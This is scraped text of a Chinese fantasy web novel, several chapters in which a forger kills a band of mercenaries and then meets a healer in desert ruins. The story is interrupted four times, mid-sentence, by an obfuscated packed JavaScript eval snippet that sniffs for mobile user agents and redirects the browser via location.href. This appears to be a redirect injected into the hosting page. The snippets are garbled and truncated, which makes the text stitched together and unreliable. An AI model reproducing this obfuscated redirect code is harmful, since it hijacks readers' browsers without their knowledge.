;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237805|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口的材料。 反之,如果是来找她的,那就不会顾及什么范围大不大的,一定会在四处寻找她的踪迹。 但这也只是一个初步判断,并不能下定结论。 她打开了之前绘制的地图,规划好了一条可进可退的路径,那附近的矿石崎岖高大不规则,有很多可以躲藏的地方,她准备埋伏起来亲自确认这些人的意图。 她先将炸弹收起来了一些,而没有收起来的则是重新布置,按照一定的范围分别布置在选定路径的墙壁和地面上。 担心自己炸错了人的她,用法力凝结出的绳子控制好炸弹,像之前那样织成一个可控的网。 做好一切准备后,刀语心将自己隐藏了起来,接下来就是等待,等待自以为是猎人的猎物出现。 而不出她所料,“猎人”很快就来了。 “老大,我们把她卖给那些大家族后,之后还要干什么?”老四走在前面举着火把询问着佣兵头子。 他们没料到要进入矿洞,什么准备都没有,火把还是用过夜营火的木材。 而此刻他们的声音在幽黑的矿洞中回荡。 “拿着钱享福呗。” “可钱总会有花完的一天。” “花完?只要你别脑子不清醒做什么蠢事,用一个锻造师换来的钱财几辈子都花不完。” 佣兵头子知道他绝对能用刀语心换一个无忧无虑的未来。 锻造师在浩劫后一直都是最稀缺的职业没有之一,无数势力为之争相追捧。 即便职业是自由选择,但由于各种原因没有多少人愿意走上这条路,在这个毫无秩序的世界里,大多数人崇拜的只有绝对实力。 “是吗?”老四头脑简单不懂这些。 “是吧。”听到回答后,还在行走的二人瞬间停下步伐汗毛直立,因为这并不是他们二人的声音。 这是刀语心的回答。 从他们的只言片语中,刀语心知晓了他们此行的目的,雇佣兵一行不知道从什么地方得知了她的身份,准备把她抓起来用来谋取利益。 对此刀语心在心底发笑,只觉得他们实在太会做梦。 只见她抬手射击,用普通弩箭将老四手中的火把击落在地,光源熄灭后周围再度陷入黑暗。 失去视野的那一瞬,恐惧促使着老四开枪,即便他没有发现目标的任何踪迹。 矿石此刻就是刀语心天然的屏障,她藏在暗处向他们所在的地方悄悄移动。 见到这两人还需要火把,刀语心也就知道了他们的等级不高,至少她面对的不是同等级敌人。 而又因为矿洞太大他们几人分成了两队,此刻他们二人对刀语心来说威胁性不是很大,如果他们使用手中的改造枪或许还有些威胁,但从之前的对话中,刀语心知道他们想要活捉自己。 而锻造师最重要的价值就是锻造师本身,他们为了自己之后得到的利益不受损害,非必要时不会开枪,避免伤害到她,那佣兵头子接下来的话就是佐证的例子。 “别瞎开枪!” 雇佣兵头子朝老四低吼。 “啊?可是……” 不开枪把敌人打死的话,敌人就会杀死他。 噗嗤。 刀语心将手中的毒匕首毫不留情地刺入了老四的心脏。 8. 第 8 章 “老四——” 进入矿洞雇佣兵四人是前一个路口分开的,听到枪声急忙赶过来的老三,看到的就是老四的尸体。 而刀语心的身影早就消失不见,只有老四胸腔上被匕首刺出的豁口表示她曾在这里。 在老三身后迟迟赶到的老二,则是冷眼看着一旁惊惧不已但安然无恙的佣兵头子。 他“看”到了佣兵头子心中所想:真的是她,太好了,老四也死在她的手里,不用自己再多费心思再去杀他了。 老二有些厌恶地移开了视线,却发现自己视线范围内有什么东西在反射着火把的光芒。 他到了20级,虽然不像刀语心一样视野完全清晰,但也比其他两人好得多。 “别过去!” 看清地上的炸弹后,老二一把拉住了想要去看老四尸体的老三。 随后炸弹被引爆。 只可惜无人受伤,离炸弹最近的佣兵头子也毫发无损,他身上有一层隐约可见的护盾。 老二手中摇曳的火光从另一个方向照出了刀语心藏在矿石后的身影,而佣兵头子看见后转头朝着老三说着: “她在那!” “我要杀了你。”老三找到目标后,怒吼着朝刀语心的方向冲去。 虽然老三一直都觉得老四蠢笨,但不妨碍他一直将老四当作自己最好的兄弟,他们一起杀人放火为的就是他们的以后,而老四却再也没有以后了。 站在一边的佣兵头子和老二都知道刀语心不能杀,但他们并没有任何一人去阻止老三的动作。 佣兵头子巴不得除自己之外的人全都死去,而老二则是不打算再救老三第二次,被愤怒冲昏了脑袋的人只会将他拖累。 他们也知道死的人绝不会是刀语心。 这破绽是刀语心故意漏出来的。 老三只见阴影中出现了一把手丨弩,随后一支弩箭从中射出,将他的脚踝刺穿,而在他失去支撑点跪下的那一刻,一颗炸弹在他身下爆炸了。 整个过程快到他还没来得及感到痛苦就死去了。 不过片刻刀语心就解决了两人,但她没有掉以轻心。 雇佣兵小队一共五人,本来还应该剩下三人,现在有两人在这里,应该还有一人守在洞口。 刚才扣动手丨弩扳机的一瞬,她通过镜片洞察到了他们所有人的等级,都是十八级。 明明四个人等级都是一样的,但区别差别很大,剩下的这两人是不同于之前的棘手。 和之前游刃有余的感觉不同,刀语心觉得自己不能和他们正面对上。 佣兵头子可以说是因为他抢到了很多强力的道具,就比如说刚才他身上出现的那个护盾,但另外一个人呢?也是这样吗? 恐怕不止。 已经死去了两个队友,但刀语心看不出他的神情变动,佣兵头子都有的紧张,在他身上没有一丝一毫,恐怕他身上有某种依仗作为他底气的来源。 刀语心没再行动,两边陷入了僵持。 而老二感受到了刀语心洞察的同时,他也“看”到了她心中的疑惑。 要不要演一下他很紧张呢?他心想。 不过似乎也没那个必要,毕竟她很快就会被他拿下。 他也自认表演欲并不旺盛,在前不久通过读心术认清佣兵头子的真面目后,他就不怎么愿意再和他交谈。 “老二,我们联手拿下她。” 看着佣兵头子那张人模狗样的脸,老二敷衍地点点头。 “好,你先上。” 佣兵头子的心中有些不悦,但此刻只剩下他们二人,他也再找不到其他人驱使,就只能自己冒着风险上了。 但说到底他心底还是惧怕的。 老二对佣兵头子的判断是正确的,他年纪大了,变得惜命,不再愿意冒险。 可此时再由不得他愿不愿意。 藏在矿石背后的刀语心也不会让他们轻易得逞,既然正面对上对她来说有风险,那就玩点其他的好了。 比如说爆炸。 她五指合并,将手中的触发绳收拢,下一秒矿洞内所有炸弹一触即发。 突如其来的爆炸和冲击让没有准备的雇佣兵二人身形不稳,老二不知道是故意还是无意地让手中的火把掉落,然后矿洞再次变得漆黑。 这也给刀语心制造了机会,她本就打算趁着此刻从路口快速离开。 她撑开臂甲作为自己移动的防线。 在即将离开路口时,一梭子子弹打到了她的脚边,感受到盾牌上传来的子弹冲击力,她心中一惊,她没想过自己会被发现。 这是巧合?不,子弹的轨道并不随机。 脑海中迅速回忆起之前的场面,她记得两人中离她最近的人是那个老二。 先前这样的距离那个老四完全没有发现她,而此刻这老二却如此敏锐,但他身上并没有什么增加视觉的特性和天赋。 先前的炸弹也是他先发现然后出声提醒的。 他绝对不止18级。 之前看到的等级应该是假的,而真实的应该被他藏了起来。 这人应该在二十级左右,并且应该是近期晋升的,否则他不会一直甘愿当老二。 藏匿可能是职业技能,但也有概率是道具,如果是道具的话,那这人的职业技能会是什么? 来不及多想,刀语心朝着洞口奔去。 她刚离开一段距离,就又回头用一枚炸弹将路口炸塌了,但这并阻挡不了里面的人太久,她得赶快离开。 而老二的视线一直看着刀语心离开的背影,直到被落石掩埋,一同看不到的还有她心中无数的想法。 恐惧,这是老二用读心术读完刀语心的第一感受。 只是几个不起眼的细节,她就能知道这么多东西? 但他随后将自己心中的恐惧压下,他问自己:怕什么? 她只是一个锻造师,一个毫无威胁性的辅助职业,只要自己能读到她的心,只要能知道她心中的想法,他就无所不能。 高风险高回报是他身为雇佣兵的信条。 老二对此深信不疑。 “快把这里挖开,我们追出去。” 狼狈起身的佣兵头子习惯性地像以前一样发号施令,但听他话的人要么死去了,要么不在他身边。 “你在指挥我吗?”老二转头面无表情地询问他。 “不然……呢?” 佣兵头子皱着眉头,感受着自己胸腔被子弹射穿,随后口中反涌出鲜血。 是老二开的枪。 佣兵头子岁数大了,反应也变得迟钝了,即便早就知道了老二的异心,却没料到他此刻就会动手。 看着毫无防备的佣兵头子被自己偷袭成功后,老二本不好的心情愉悦了很多。 他看着佣兵头子倒下,看着他身体中流出越来越多的血,而后老二漫步过去在他的身旁蹲下。 即将死去的佣兵头子看着老二在他的身旁咧嘴笑着: “我有一个问题早就想问了。” 边说着,老二边将枪口对准佣兵头子的眉心。 “你凭什么当老大?” 话落,子弹夺走了佣兵头子的生命。 在还算风平浪静的洞口,老五原本目光涣散地看着漆黑一片的洞穴发呆,而下一刻从中传来的脚步声让他的视线聚焦。 但只有一道声音,而他也知道这脚步声不属于队伍中任何一人。 只见刀语心的身影从黑暗中浮出,他看着她一步步朝着自己走来。 两人彼此看到的一瞬间就开始互相洞察。 斗篷在之前和裂地角兽的战斗中就破损了,没了隐匿特性,老五终于看到了刀语心的信息。 25级锻造师,职业技能熔炼术,天赋加速,以及未知信息(等级不够无法查看) 她身上还有什么隐藏道具吗? 在老五百思不得其解时,刀语心的洞察目镜却失败了。 眼下的状况让她不自觉地皱眉,但随后她很快做出推断:这人有洞察类的职业技能,说不定他也是二十级。 除开非战斗类职业,其他的职业第一个技能基本是攻击型,只有到了二十级才能拥有其他功能型技能。 “是你,他们人呢?” 老五出声询问,他本以为自己不会得到回应。 “死了两个,还有两个没出来。” 刀语心语调平静地回答着他的问题,就仿佛两个陌生人第一次问好那样平常。 “你杀的吗?” “是。”刀语心毫不犹豫地应下,她判断此刻的局面欺骗并派不上用场。 她的步伐未曾停歇,思绪也是。 先前离开时她还听到矿洞深处回荡出的子弹声,挖开道路用不着枪,所以应该是那等级高的老二杀死了佣兵头子,至于理由,暂且未知。 而这人能在这里守洞口,就说明受到佣兵头子的信任,佣兵头子也不想让他冒险,他没有动机和老二一样为了隐藏身份而去购置一个对战斗无用的隐藏道具,这只能是他本身拥有的技能。 洞察类职业技能……他是刺客? 没有足够的信息,刀语心无法确定推测,她只知道这人有些棘手,但此刻她不得不与他正面交锋。 她将手中的匕首不着痕迹地收起,抽出横刀。 距离拉近后,二人即刻开始交手。 对方用的是短刀,横刀较长的刀身有一定优势,但不多。 刀语心并不擅长战斗,但这并不是因为她没有天赋,而是她身为锻造师与战斗之间有一层不可见的职业壁垒,这是既定的规则,这是对她的限制。 在她每次找到机会即将重创对方的那一刻,她既定的攻击轨道总会偏离。 这种不可见、不可触碰、不可捉摸却又无时无刻不在的影响让刀语心感到非常的不悦。 她在练习手丨弩时永远都是射中准心,但在战斗中只要她即将攻击到对方的要害,就会偏离轨道,就像她射不中裂地角兽的眼睛。 如果不是要害就一切正常,比如刚才射穿老三的脚踝。 可之前有提前布置的炸药,能直接将老三击杀,而此刻不行,她在洞口这个位置全无准备,对方还是刀尖上舔血的雇佣兵,不会给她任何准备的机会。 就算攻击再多,如果不能重伤敌人的话就是无效的。 在一番交手后,两人身上的伤势都大差不差。 老五又是心惊又是疑虑的:她有很多次机会能够杀死他,但她没有抓住那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237806|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机会。 不过这不是因为她不想杀了他,而是她做不到。 他想起之前听别人提起过的职业壁垒,这也是为什么所有人都认为锻造师这类辅助性职业很弱。 不是他们没办法伤人,而是他们在规则的限制下很难杀人。 若是一开始近身一击必中就还好,因为不确定因素很少规则能影响的范围不大,但如果是在长线对抗中,他们只能就一次又一次错失良机,露出无数破绽。 “放弃抵抗吧,没用的,你杀不死我。” 老五朝着刀语心开口,她则是用更加猛烈的攻击回答了他,他甚至被逼退了好几步。 刀语心难道不清楚吗?她比任何人都清楚这一点。 但她就是要明知不可为而为之。 她知道,如果她放弃了反抗,如果她放弃了挣扎,那么她就会成为任人宰割的鱼肉。 可是凭什么? 凭什么她就要被人宰割? 刀语心挥刀砍向老五,但在那一刹,刀身却先碰到石壁而后断裂开来,弹飞的残片甚至将她的手臂划伤。 老五也抓住机会将刀语心手中的横刀击飞。 他以为这场对决就到此结束,看着落在远处的刀柄,他长舒了一口气。 而刀语心手中再度握住藏起多时的匕首,洞察只看得到等级职业天赋特性,看不到武器。 在她举起匕首刺向老五时,他却未卜先知般抬手用短刀挡下了刀语心的攻击。 这是神经条件反射,又或是一点好运降临。 命运给了他好运,给予刀语心的就是厄运。 看啊,就连命运在嘲笑她所做的一切都是无用功。 这就是该死的规则。 老五挡下攻击后本想直接杀死刀语心,但他及时回过了神,收起短刀,将刀语心的手腕卸力让她失去握住匕首的力气。 匕首掉落在地上发出清脆的声响,而刀语心没去看,只是盯着老五的眼睛,然后嗤笑一声: “你这是不敢杀了我吗?” “你不能死,你还有用。” 听到这句熟悉的话后,刀语心先是一愣,接着嘴角扬起了一个在此刻显得格外怪异的弧度。 她一直压抑在心中的恶意此刻喷涌而出。 在没人注意到的地方,一股不易察觉的黑色能量从刀语心的指尖溢出,然后瞬间溃散在空气中消失得无影无踪,仿若从未出现过。 在一旁的刀语心只是莫名轻笑一声,随即用言语将老五最不愿提起的那一部分狠狠撕开。 “也是,你还要等着用我还有你兄弟们的命换来的钱去活着呢。” 某些字眼被刀语心特意加重。 “闭嘴!” 老五恶狠狠地剜了刀语心一眼,但这并不能阻止她继续接下来的话: “尽管把错都归到我的身上吧,这样你是不是用着还会更舒心一点?毕竟你高洁得很,花着用我换来的钱,享受着一切,然后告诉自己这是在为你的好兄弟们报仇雪恨。” “给我闭嘴!” 老五死死掐着刀语心的喉咙,让她再也说不出一字一句。 理智尚存的老五在刀语心窒息的前一刻他松开了手,是了,她还不能死。 在确定刀语心只是昏迷过去而不是死掉之后,他坐在一旁开始处理自己的伤口。 先前的打斗也耗费了他许多的体力,虽然刀语心并没有伤到他的要害,但给他造成的伤势绝对算不上轻。 不过不知为何,他包扎的动作越来越慢,甚至绷带从手中掉落也全无反应。 老五双眼失神地陷入了思绪的泥潭。 他当然什么都知道,知道老大的图谋,知道老二的异心,知道老三老四是可以被随时舍弃的卒子。 他从未如此深切认识到自己的卑劣。 她说得对,他得到了一切,然后将一切错处归咎旁人。 可昔日相处同伴的死去,他手上真的没有染上他们的半点鲜血吗? 他知道会发生什么,但是依然漠视一切的发生,只等待着自己成为最后的得利者。 他沉寂在思绪中,过去自己所作所为的恶被无限放大,他深陷其中无法自拔。 而本该昏迷过去的刀语心睁开了双眼,她撑着手臂从地上站起,捡起掉落在地的匕首,然后走向老五,从背后将他刺穿。 在死前的最后一秒,老五终于承认了自己的本质。 说到底,他就是个自私自利的卑劣者。 只可惜他知道得太晚了。 在将老五杀了后,刀语心一分一秒都不敢停歇,她喝下一瓶恢复药剂,然后拽下老五挂在脖子上的空间容器,在其中不断地寻找。 佣兵头子让老五守洞口就说明老五是他比较信任的人,所以他会让老五保管一些重要之物。 不过片刻,刀语心就找到了自己想要的东西: 沙漠载具的钥匙。 正当刀语心以为自己能顺利离开时,她听见身后传来了声音: “你是想逃跑吗?” 闻言,刀语心身形一顿,叹了口气,然后再次握紧匕首。 她起身,冰冷的眼神扫向声音传来的方位。 “不,我现在只想杀死你。” 9. 第 9 章 刀语心看见老二慢条斯理地从黑暗中走出,脸上挂着得到某种满足后的诡异笑容。 面对着重伤未愈的刀语心,他无所畏惧地摊开双手。 “好啊,那就来试试,你能不能杀死我吧。” 她面无表情地反握住匕首,同时在心底止不住的吐槽: 让一个锻造师打车轮战是不是有点太强人所难了? 而读到她心中所想的老二只是一晒。 有意思,真有意思,那他就大发慈悲地多陪她玩一会好了。 他将改造枪支收起,换出了自己棱角分明的钢铁法杖,老二的职业是法师。 “我一个法师和你打近战,不过分吧?” 这是纯粹地看不起她吧,刀语心深感眼前之人的狂傲。 她此刻的血条在药剂的治疗效果下刚过半,但面对满状态老二的挑衅,她全盘接受。 “不过分,好得很。”有谁会介意对手比自己更劣势呢? 话落,她猛地拉近两人之间的距离。 法师是后期职业,等级前期除了距离远一点的普通攻击之外,没有技能的他们并无法发挥出自身职业的最大优势。 尽管这样,他对刀语心来说依然非常棘手。 之前刀语心就已经在老五身上耗费了太多体力,相比于之前她此刻的攻击算得上绵软无力,先前与老五的战斗她已经深刻认识到职业壁垒对她的限制,她不打算再多做无用功。 但这不代表她就会停止反抗,她边进攻的同时边观察着对方。 既然无法杀死他,那就限制他的行动,然后给自己充分的逃跑时间。 只不过,这一切都早早被老二察觉。 他只是嘴角勾着笑,然后轻轻松松地躲过刀语心的每一道攻击。 在一次次的失误中,刀语心感觉到这人好像每一次都能预判她下一步想做什么,而他也不打算彻底击溃她,一直在给她希望,又一直打破她的希望。 每成功一次,他脸上的笑意就加深一分,真是恶劣得要死。 刀语心只想把他的脸往地上砸。 但刀语心很快控制住自己的情绪,最大限度地分析着原因: 这是他职业技能带给他的东西,是预言?预知?还是读心术? “啊,被你发现了啊。”看到刀语心的想法后,老二语调轻松地说着。 “那就告诉你好了,我的职业技能是读心术呢,除了我之外,你还是第一个知道的人。” 老二只觉得刀语心很有意思,所以为了更有意思点,将自己最大的秘密告诉她也无妨。 因为他确信,即便她知道了他最重要的底牌,她也无法反抗。 现在的刀语心千疮百孔,就算再怎么挣扎也逃不开既定的命运。 她不可能从他手中逃开。 老二本期望将自己的技能告诉刀语心后,能从她的脸上看到惊恐万分的表情,不过结果显然让他失望了,刀语心毫无波动。 平静,任何言语都无法打破的寂静,所有的情感都从眼前之人的身上抽离。 难怪,原来是她心中的想法全被窥探到了。 他再一次看到她心中所想。 不过他却无法从中再获得更多的信息,预判刀语心的下一步行动了。 不妙。 老二心中一紧。 他伸手想要抓到刀语心,但她像被什么加速了一般,动作变得极快,他抓住的只有残影。 然后一支带毒的弩箭射穿老二的身躯,不过并不致命。 刀语心并未言语,只是看着老二,然后在心中想道: “去死吧你。” 随即刀语心如法炮制,抛出炸弹将洞口炸塌,自己迅速离开。 依靠自身的意志,刀语心强行打破了职业壁垒,将锻造的职业天赋加速用在了战斗上。 但也有很大的弊端,她被规则降下了惩罚。 此刻她身上的一长串debuff:最大生命减少20%,法力值扣除50%,附加易伤(敌人对你造成的伤害翻倍三十分钟),不可恢复(三十分钟),动作缓慢(三十分钟) 刀语心没有时间去细究,她顺着钥匙的定位找到了沙漠载具,她从未驾驶过载具,不过这难不倒她,很快她就找到了自动驾驶的方法。 在她将一串位置坐标输入其中时,矿洞口发生了更大的爆炸。 老二从烟尘中走出。 “你又能跑到哪里去呢?” 在驾驶载具离开前,刀语心看见他手中有什么东西在摇晃,那是另一把钥匙。 看着刀语心逃走的方向,老二并未着急,只是有些似乎埋怨般地自言自语。 “逃走了呢。” “那就等着我追上你吧。” 身为雇佣兵的他很快就察觉到箭上有毒,他费了些时间从佣兵头子遗物中找到高级解毒药剂。 将身上的毒性驱散后,老二步调轻松地走向另一辆更大的载具,然后驾驶着跟了上去。 自始至终,他的目光从未分给昔日队友的尸体半分。 在老二驾驶着载具再次出现在刀语心视线范围的那一刻,她就知道自己的毒弩箭没有派上用场,他身上的毒性消失了。 老二一直远远跟在刀语心的后面,也不急着追上,即便追上也不做什么,他只是和刀语心聊天,劝她放弃抵抗。 但刀语心不理他,只是一直在载具的控制台上操作什么,这让他有些生气,无处发泄的他只能开枪将她那辆载具的能源箱打破。 不过刀语心也不恼,剩下的能源足够抵达她想要去的地方。 她操控着面板,指尖迅速输入一道指令,她不顾载具的损耗将速度提到最高,朝着目的地冲去。 而她的目的地,则是之前那个疑似旧世界遗址的地方。 刀语心知道自己在老二的追击下即便打出信号弹也不可能平安回去,在沙漠上也没有什么能够彻底甩掉他的方法,所以她选择来到这里。 老二还在后面没追上来,刀语心下了载具,在动作缓慢的负面状态下,她艰难地一步一步地走到之前发现的砖块旁。 而老二远远驾驶着载具,看着刀语心走几步就被绊倒一步,这是什么加速后遗症么? 随后抵达的他也下了载具,比起刀语心,他的姿态轻松了千万倍,仿佛在自家后院散步一般,悠哉悠哉地朝刀语心走来。 “这是你为自己挑选的埋骨地吗?不过你也应该知道,我不会杀了你的。” 他边说着边想用读心术读取刀语心想找到一星半点的想法,但……什么有用的都没有。 “我不想死,我不想死,我不想死……” 刀语心的思绪被一直重复的话占满。 “你好好地听话,跟着我去找中央城的大家族,你当然不会死。” 他此刻仿佛善良正义的化身,费尽苦心帮刀语心避免死亡结局,但相比于死亡,在他所期望的那个未来中,活下来对刀语心来说才是更痛苦的。 “真不知道你为什么要来这样一个地方?还是说你的载具只能驾驶到这里?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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如果是她在战斗时布置的,他不会察觉不到,除非是提前就布置好了,此刻的这几枚浮于表面因为打斗才重新出现,而那些被她埋得更深,还没有出现的呢? “你疯了?这么近的距离你也会死!”他朝着刀语心吼道。 “我不想死,我不想死,我不想死……不,我不会死。” 一直在心中重复着想法的刀语心突然笑了,她如墨漆黑的瞳孔盯着面露恐慌的老二。 她笑着对他说:“我才不会死。” 然后她毫不犹豫地扔出手中的炸弹。 朝着载具的方向。 随后巨大的爆炸扬起的沙尘冲天而起,一点野火会烧尽杂草,一枚炸弹的爆炸会连锁引爆此刻的所有炸药。 沙漠载具在行驶过程中就被刀语心改造成了一个大型炸弹,她身上剩下的所有炸药也被她全部埋藏在了沙漠之下。 一连串爆炸所叠加的伤害足够将身处一切中心的老二彻底杀死。 但距离很近的刀语心也同样。 即便她在最后的时刻撑开了盾牌,但在爆炸的剧烈冲击波下,她还是吐出了鲜血。 刀语心一直佩戴着的紫阶良品保命护符同时碎裂,它为她挡去了爆炸带来的致命冲击。 爆炸的最中心形成了一个凹陷的大坑,周围的沙子朝着里面不断涌入,形成了一个流沙区。 伤势过重的刀语心无法再逃离这片区域,她被流沙卷入了沙漠的深处。 但刀语心对这样的局面早有预料。 这样的爆炸无论在沙漠的哪一处都能置老二于死地,也能制造同样的流沙区域。 而之所以刀语心选择这里,就是因为她在赌,她赌沙漠之下的建筑有足够的空间,能让她在流沙中存活。 这是一场赌局,赌的是她的命。 不过她也赌,赌这个世界不会轻易地放过她。 而她赌对了。 10. 第 10 章 流沙裹着刀语心来到了遗迹之中,在源源不断的沙子向下倾泻将她彻底淹没之前,她挣扎着刨开沙堆爬了出来。 她摇摇晃晃起身勉强维持自己身体平衡,用所剩无几的力气到几步外的地方扶墙坐下,她眼神空洞地倚靠着墙,努力让自己的意识清醒,她得先保证自己不会因为伤势过重而死去。 虽然有盾牌做缓冲还提前喝下药剂,从外表来看刀语心好像受伤并不严重,只有右手臂上被断刀割出的伤口有些可怖。 但她其实身体内部已经严重受损,刀语心只觉得自己的五脏六腑好像都在冲击下移了位。 她拿出最后的治疗药剂仰头喝下,她看着坍塌的流沙埋没了外界最后的光线,沙子没有继续往里涌入,生命值也勉强停止住流逝的趋势,但并没有继续恢复只是堪堪维持在一个较低的界限。 喝完药剂后刀语心整个人停滞了下来,失去光线后的双眸显得更加阴郁,她整个人一动不动地盯着虚空。 此刻一举一动都会产生无穷无尽的痛感刺向她的神经,就连呼吸也是,刀语心只觉得每一次呼吸都是将伤口再度撕裂的过程。 对此刀语心只能忍受。 她从走出家门的那一刻开始就戴着斗篷,没想到这样还是会被雇佣兵一行人找上,又或者说就是过度的隐藏暴露了自己,但不将自己隐匿起来,身为锻造师她只会吸引来更多的视线。 如果什么都不做毫不反抗,她不会受这么重的伤。 但有些事情既然做出了选择,那她一定会去做,为此光是为了活下来她就已经耗尽了所有。 生命值迟迟没有恢复的迹象,刀语心别无他法,只得将有治疗效果的朝露花干嚼然后吞咽下去。 火属性的草药直接食用,她只觉得自己的食管在被灼烧。 与此同时,一些不寻常的声响自远处传来。 在流沙停止落下后,这片空间中本该只剩下刀语心自己的呼吸声,但她却听到一阵脚步声从远处传来,顺着无数的墙沿,几经转折后穿过走廊传入自己的耳中。 又会是谁? 她有些烦躁地闭上了眼将头靠在墙上,在将无用的情绪驱散后,刀语心知道自己不能坐以待毙,她机械性地握住匕首,强撑着支离破碎的身体起身。 本该寂静无声的遗迹中,一股声响从未停歇。 那人不知从何处来,经过拐角,来到连接一处房间的走廊前。 在他正打算继续向前时,一股冲击抵住他的脖颈,失去平衡的他被人锢着脖子重重压倒在地,一柄被血色浸染的匕首直指他的心脏。 “你是谁?为什么在这里?”有些嘶哑的声音在空间中回荡。 没来得及感受后背传来的痛感,他的注意力全在说话之人的眼中,黑色发丝从破损的兜帽中垂落,他正对上那双仿若无底深渊的双眸。 他用了几秒钟的时间理解清楚此刻的现状。 虽然生命受到威胁,他不打算反抗,他推断自己的挣扎会导致一个他不愿意接受的后果。 心中做出判断的他开口: “我是谢止沉,等级23级的医师,我偶然得到了一把钥匙,它指引我来到了这个遗迹。” 听到这个回答,刀语心没有立刻回应,她在估量着其中的真实性,手上动作没有放松一丝一毫。 而在刀语心思考的间隙,谢止沉却突然抬起手握住了刀语心的匕首,鲜血随之从他的掌缝中流出。 刀语心一惊,她想将匕首收回,但对方并没有放手的迹象。 此时强行夺回只会导致更严重的伤势,她只能作罢。 被打断思绪的刀语心盯着谢止沉,他眼中的暗红藏匿着危险,但似是为了让她放下警惕死死压抑着,用一副温和无害的模样做出她完全没有预料的事。 对于自己的举动,谢止沉开口轻声解释着:“我知道你现在身受重伤不会轻易相信我,作为我表达对你毫无恶意的诚意,我会在中毒状态下尽量为你治疗好伤势。” 话落,他放开了匕首,而掌心的伤口还在向外流出着被毒素浸染的鲜血。 “你需要我做什么?”刀语心没有松手,而是反问着他。 她相信世上真的有做事不求回报的善人,但她更深知人与人之间需要利益交换,而此时此刻,如果对方真的什么都不要才是最可疑的。 “我需要你帮我离开这里。” 听到这个回答后,刀语心只是思考瞬息就收起了匕首,她起身的动作让斗篷也随之彻底滑落,而后她朝谢止沉伸出了手。 “我是刀语心,25级锻造师。” 在将谢止沉从地上拉起后,刀语心打算询问他更多有关遗迹的消息。 怀疑是无穷无尽的,但她此刻愿意将其按下,以便达成后续的合作。 不过他怎么不放开她的手? 心中发出疑问的下一秒,刀语心就感受到自己体内的伤势开始恢复,痛觉和灼烧感都在一瞬被压制,然后逐渐消退。 她看向谢止沉,却发现他不知何时就闭起了双眼在释放着技能。他的手腕环绕着复数的莹白色能量线条,通过此刻相连的手掌朝着自己蔓延,随后没入她的身体中。 看来他真的是医师。 刀语心扫过谢止沉的面容,无事可做的她再度转起思绪。 她其实并没有方法去验证谢止沉口中信息的真假,洞察目镜在和老五的战斗中损毁了。 但选择相信他的理由有很多:她没有再战斗的力气、她也需要从这里出去、她需要治疗……以及她不想杀死一个无辜之人。 随着思绪的深入,刀语心的目光开始溃散。 在她第一次杀死想要加害于自己的人时,她是什么反应来着?好像是做了很多天的噩梦…… 片刻后,治疗完成。 莹白的光线消解成点点光芒散在空气之中,谢止沉睁开眼,看到的就是刀语心正对着自己的目光,不过他很快就意识到她大概是沉浸在自己的思绪之中。 他放开了刀语心的手,看着她的视线重新聚拢在自己身上。 “谢谢。”他听到刀语心对自己说。 随后她手中出现了几株不同种类的草药,她将其递给了自己。 “这是解药。” 刀语心自己配的毒,自然也知道解毒的方法,不过谢止沉对此则是感到困惑。 他本以为还要再麻烦一些,毕竟这毒如果没有高阶的解毒药剂,处理起来的手段还是很繁琐,但他没想到对方直接将解药的种类给了他。 按理来说这不应该是一个人的秘密所在吗?可以作为杀手锏的底牌,她就如此轻易地暴露出来? 看来自己还是无法完全理解人类的思考方式,谢止沉将解药接过后想到。 插曲结束后,他的思绪回到先前的治疗之中,刀语心的伤势很重,只是恢复了百分之六七十都耗费了他所有的法力值。 为此他和刀语心解释着: “我的等级不高,无法一次就完全恢复你身上的伤势。” “无妨,”她摇摇头表示他无须在意,“你已经帮上了我很大的忙。” 她有些好说话,谢止沉将自己的推断在心中记下,刚见面的情况虽然有些惊险,但他从始至终都没有感受到杀意。 不过他还有一点比较在意,在刚才的治疗过程中他感受到了一股有些熟悉的力量。 能让他熟悉的东西可都不是什么好东西。 短暂犹豫后他将其说出,作为刀语心给他解药的报偿。 “你身体中还有一股我无法探查清楚的力量,你自己多加小心。” “好。” 听到刀语心波澜不惊的回答后,谢止沉就明白了她自己也知道这股力量的存在。 刀语心的确对此并没有感到任何意外,她很清楚自己用来杀死老五的手段是什么,但万事万物都有代价,她能用它们影响老五的思绪,它们也能反过来影响她的。 不过在过往漫长的相处中,她也找到了制衡之法:只要她将所有的情绪抽离,它们就影响不了自己。 “接下来需要我做什么?”她询问谢止沉。 他比她更早来到遗迹之中,知道离开方法的人也是他。 “我们需要先去拿到另一半的钥匙,再去打开遗迹最中心的大门。” 二人即刻开始启程。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 